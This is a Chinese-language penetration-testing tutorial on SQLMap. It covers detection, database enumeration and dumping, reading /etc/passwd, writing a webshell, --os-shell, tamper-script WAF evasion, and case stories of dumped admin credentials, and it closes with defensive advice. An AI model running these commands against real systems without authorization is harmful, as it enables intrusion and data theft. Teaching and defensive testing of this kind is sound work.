SQLMap中文试用手册:从零基础到实战高手的完整指南

admin 2026-04-16 04:34:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是SQLMap工具的完整使用指南,详细介绍了其安装方法、核心命令、实战案例及WAF绕过技巧。文档强调SQLMap作为自动化SQL注入工具的高效性,涵盖从基础检测到数据枚举、文件读写等高阶功能,并提供针对不同数据库和WAF环境的实战解决方案。同时从防御角度给出开发与运维层面的安全建议,包括参数化查询和WAF配置等重要措施。 综合评分: 85 文章分类: 渗透测试,WEB安全,安全工具,实战经验,漏洞分析


cover_image

SQLMap中文试用手册:从零基础到实战高手的完整指南

原创

逍遥 逍遥

逍遥子讲安全

2026年3月29日 17:54 广东

在小说阅读器读本章

去阅读

写了一篇真正能用的SQLMap教程,不吹不黑,全是干活踩过的坑和总结的经验。

一、SQLMap到底是什么?能干什么?

SQLMap是目前市面上最成熟的自动化SQL注入工具,没有之一。用Python写的,开源免费,支持MySQL、Oracle、PostgreSQL、MSSQL、SQLite等几乎所有主流数据库。

它能干的事:

  • 自动检测GET/POST/Cookie/Header里的注入点
  • 识别布尔盲注、时间盲注、报错注入、联合查询注入
  • 枚举数据库、表、字段、数据
  • 读取服务器文件、写Webshell
  • 反弹Shell、执行系统命令
  • 绕过WAF(配合tamper脚本)

说白了,你手工测半天的事情,它几秒钟就能跑完。但前提是——你得会用,而且得用对。

二、安装与基础配置(5分钟搞定)

2.1 安装方式

Kali Linux用户: 系统自带,终端直接敲sqlmap就行。

其他Linux/Mac用户:

bash
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.gitcd sqlmappython sqlmap.py

Windows用户: 去GitHub下载压缩包解压,进目录双击sqlmap.bat

bash
python sqlmap.py -u "http://test.com/page.php?id=1"

就这一条命令,工具会自动检测这个URL的id参数有没有注入点。

运行后会看到什么:

       __H__ ___ ___[.]_____ ___ ___  {1.8.7#stable}|_ -| . [)]     | .'| . ||___|_  [(]_|_|_|__,|  _|      |_|V...       |_|   http://sqlmap.org

看到这个logo,说明工具跑起来了。

三、核心命令大全(背下来能解决90%的场景)

3.1 基础检测

| 场景 | 命令 | | — | — | | GET型注入 | sqlmap -u "http://test.com/page?id=1" | | POST型注入 | sqlmap -u "http://test.com/login" --data="user=admin&pass=123" | | 指定测试参数 | sqlmap -u "http://test.com/page?id=1&cat=2" -p "id" | | 带Cookie | sqlmap -u "http://test.com/page?id=1" --cookie="PHPSESSID=xxx" | | 随机User-Agent | sqlmap -u "http://test.com/page?id=1" --random-agent |

实测经验: 用--random-agent很重要,默认UA里带着”sqlmap”字样,不换的话WAF一抓一个准。

3.2 数据枚举(核心中的核心)

确认有注入后,按这个顺序往下跑:

bash# 1. 看当前用户是谁sqlmap -u "http://test.com/page?id=1" --current-user
# 2. 看当前数据库sqlmap -u "http://test.com/page?id=1" --current-db
# 3. 列出所有数据库sqlmap -u "http://test.com/page?id=1" --dbs
# 4. 列出指定数据库的表sqlmap -u "http://test.com/page?id=1" -D 数据库名 --tables
# 5. 列出表的字段sqlmap -u "http://test.com/page?id=1" -D 数据库名 -T 表名 --columns
# 6. 导出数据sqlmap -u "http://test.com/page?id=1" -D 数据库名 -T 表名 -C 字段1,字段2 --dump

踩坑提醒: --dump导出大量数据时会很慢,建议加上--threads=5开多线程加速。但线程数别设太高,容易被封IP。

3.3 高阶玩法

| 功能 | 命令 | | — | — | | 读服务器文件 | sqlmap -u "url" --file-read="/etc/passwd" | | 写Webshell | sqlmap -u "url" --file-write="shell.php" --file-dest="/var/www/html/shell.php" | | 反弹Shell | sqlmap -u "url" --os-shell | | 执行SQL语句 | sqlmap -u "url" --sql-query="SELECT * FROM users" | | 批量测试 | sqlmap -m targets.txt |

注意: 文件读写和os-shell需要DBA权限,不是每个注入点都能用。

四、实战案例:真实环境下的SQLMap使用

案例1:一个登录框引发的血案

场景: 某系统登录页面,抓包发现是POST请求。

第一步:测试注入点

bash
sqlmap -u "http://target.com/login" --data="username=admin&password=123" --level=3

加上--level=3是因为有些注入点在HTTP头里,默认level=1测不到。

第二步:发现注入 跑了大概两分钟,工具报出”Parameter ‘username’ is vulnerable”。确认是布尔盲注。

第三步:枚举数据

bashsqlmap -u "http://target.com/login" --data="username=admin&password=123" --current-dbsqlmap -u "http://target.com/login" --data="username=admin&password=123" -D 库名 --tablessqlmap -u "http://target.com/login" --data="username=admin&password=123" -D 库名 -T 表名 --dump

结果: 跑出管理员账号密码,成功登录后台。

案例2:碰上非主流数据库怎么办?

真实经历: 有次测一个日志管理系统,参数带单引号报错,报错信息显示是ClickHouse数据库。

问题: SQLMap默认不支持ClickHouse,直接跑sqlmap -u "url"提示”does not seem to be injectable”。

解决思路:

  1. 手工分析报错信息,确认参数被带入SQL语句
  2. 发现参数值是tmp/log,删掉/log后报”Table apaaslog.tmp doesn’t exist”
  3. 推测查询语句是SELECT * FROM apaaslog.参数
  4. 尝试用system.tables(ClickHouse系统表)测试,语句能执行
  5. 最终成功爆出表名,拿到数据

教训: SQLMap不是万能的,碰上非主流数据库得自己动手。但可以用--sql-query参数执行自定义SQL语句。

案例3:Swagger接口的SQL注入

场景: 通过信息收集发现Swagger UI界面,里面有一堆API接口。

测试过程:

  1. 逐个测试接口,发现有个接口参数带入数据库
  2. 参数值是logstore,改成/tmp/log报错
  3. 最终确认是ClickHouse数据库
  4. 用ClickHouse语法构造查询,成功获取数据

启示: Swagger接口是SQL注入的重灾区,很多开发直接把接口暴露在外还不做权限校验。

五、WAF绕过:Tamper脚本的实战用法

碰到WAF别慌,SQLMap的tamper脚本就是专门干这个的。

5.1 常用tamper组合

场景1:关键字被过滤(SELECT、UNION等)

bash
sqlmap -u "url" --tamper=space2comment,equaltolike,between
  • space2comment:把空格换成/**/注释
  • equaltolike:把=换成LIKE
  • between:把比较操作换成BETWEEN

实测案例: 某系统常规注入能检测到,但查数据时一直卡住。加上上面三个tamper后,成功跑出数据库名。

场景2:大小写敏感过滤

bash
sqlmap -u "url" --tamper=randomcase,charencode
  • randomcase:随机大小写,比如SeLeCt
  • charencode:URL编码

场景3:ModSecurity等高强度WAF

bash
sqlmap -u "url" --tamper=space2comment,apostrophemask,base64encode --level=3 --risk=2
  • apostrophemask:单引号编码
  • base64encode:整个payload做Base64编码

5.2 tamper组合技巧

1. 先单独测,再组合

bash# 第一步:只用一个tampersqlmap -u "url" --tamper=space2comment# 第二步:逐步增加sqlmap -u "url" --tamper=space2comment,equaltolike

一次加太多tamper会导致性能急剧下降,而且不知道哪个有效。

2. 结合–level和–risk

bash
sqlmap -u "url" --tamper=space2comment --level=3 --risk=2

--level越高测试的payload越多,--risk越高用的手法越激进。

3. 先识别WAF类型

sqlmap -u "url" --identify-waf

知道是什么WAF,选tamper更有针对性。

5.3 真实绕过案例

某次测试目标用了Cloudflare,常规注入直接被拦。

最终命令:

sqlmap -u "http://target.com/page?id=1" \  --tamper=space2comment,randomcase,charencode \  --random-agent \  --proxy="http://127.0.0.1:8080" \  --level=3 \  --risk=2

加了代理是为了用Burp看请求包,方便调试。跑了半小时,成功绕过Cloudflare拿到数据。

六、SQLMap参数深度解析

6.1 Level参数:从1到5的区别

| Level | 测试内容 | 使用场景 | | — | — | — | | 1 | 只测GET/POST参数 | 快速检测 | | 2 | 加测Cookie | 常规测试 | | 3 | 加测User-Agent、Referer | 深入测试 | | 4/5 | 加测更多HTTP头 | WAF绕过、复杂环境 |

大多数情况下--level=3够用了,再高会非常慢。

6.2 Risk参数:激进程度

| Risk | 行为 | 风险 | | — | — | — | | 1 | 常规payload | 安全 | | 2 | 加OR 1=1类语句 | 可能改数据 | | 3 | 加DROP TABLE类语句 | 可能删数据 |

千万别在生产环境用--risk=3,搞不好就把人家数据库删了。

6.3 其他实用参数

| 参数 | 作用 | | — | — | | --batch | 自动选默认选项,不打断运行 | | --delay=2 | 每次请求间隔2秒,防WAF | | --timeout=10 | 超时10秒 | | --threads=5 | 5个线程并发,加速导出 | | --output-dir=/path | 指定结果保存目录 | | --flush-session | 清空缓存重新测 |

七、常见问题与排坑指南

7.1 “does not seem to be injectable”

原因:

  • WAF拦截了
  • 确实没有注入
  • level太低没测到
  • 参数在JSON/XML里,没被识别

解决方法:

  1. --level=3再试
  2. --data明确指定参数
  3. --tamper试绕过
  4. 手工测一下确认到底有没有

7.2 跑着跑着突然停了

原因: 触发WAF封IP了,或者网络断了。

解决方法:

sqlmap -u "url" --resume

SQLMap会自动从上次中断的地方继续。

7.3 导出数据全是乱码

原因: 字符集不对。

解决方法:

sqlmap -u "url" --dbms=mysql --hex

用十六进制输出,或者指定正确的字符集。

7.4 跑太慢怎么办?

sqlmap -u "url" --threads=5 --delay=1 --batch

加并发、加延时、开batch模式。但并发别太高,容易被封。

八、防御视角:怎么防SQLMap

8.1 开发层面

1. 参数化查询(最根本)

python
# 危险写法cursor.execute("SELECT * FROM users WHERE id = " + user_id)# 安全写法cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

2. 最小权限原则

  • 应用连接数据库只用只读账号
  • 不要用root/DBA账号连应用

3. 错误信息不暴露细节

  • 不要返回具体SQL错误
  • 统一返回”系统繁忙”

8.2 运维层面

1. WAF配置

  • 拦截SQLMap默认User-Agent
  • 配置请求频率限制
  • 开启SQL注入规则集

2. 日志监控

  • 监控异常参数('AND 1=1SLEEP(
  • 监控高频请求
  • 设置告警阈值

3. 定期渗透测试

  • 自己先用SQLMap扫一遍
  • 别等黑客来帮你测

九、写在最后

SQLMap确实强大,但它不是银弹。

碰上简单的注入点,它几秒钟就能搞定。碰上复杂的WAF、非主流数据库、JSON参数里的注入,还是得靠手工分析和经验。

我自己的习惯是:

  1. 先用Burp抓包,确认参数位置
  2. 手工测一下有没有注入迹象
  3. 确认有戏了再用SQLMap跑
  4. 跑不动就换tamper,再跑不动就自己写Payload

一句话总结:SQLMap是你的得力助手,但别指望它能替你思考。

对了,所有测试一定要在授权范围内进行。没授权就扫,轻则封IP,重则吃官司。做安全这行,底线比技术重要。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:逍遥子讲安全 逍遥 逍遥《SQLMap中文试用手册:从零基础到实战高手的完整指南》

游戏反私服方案研究 网络安全文章

游戏反私服方案研究

文章总结: 本文介绍了一种基于动态代码下发的游戏反私服方案。通过宏将核心代码抽离为shellcode存于服务器,下载时利用反外挂模块生成的随机clientkey
评论:0   参与:  0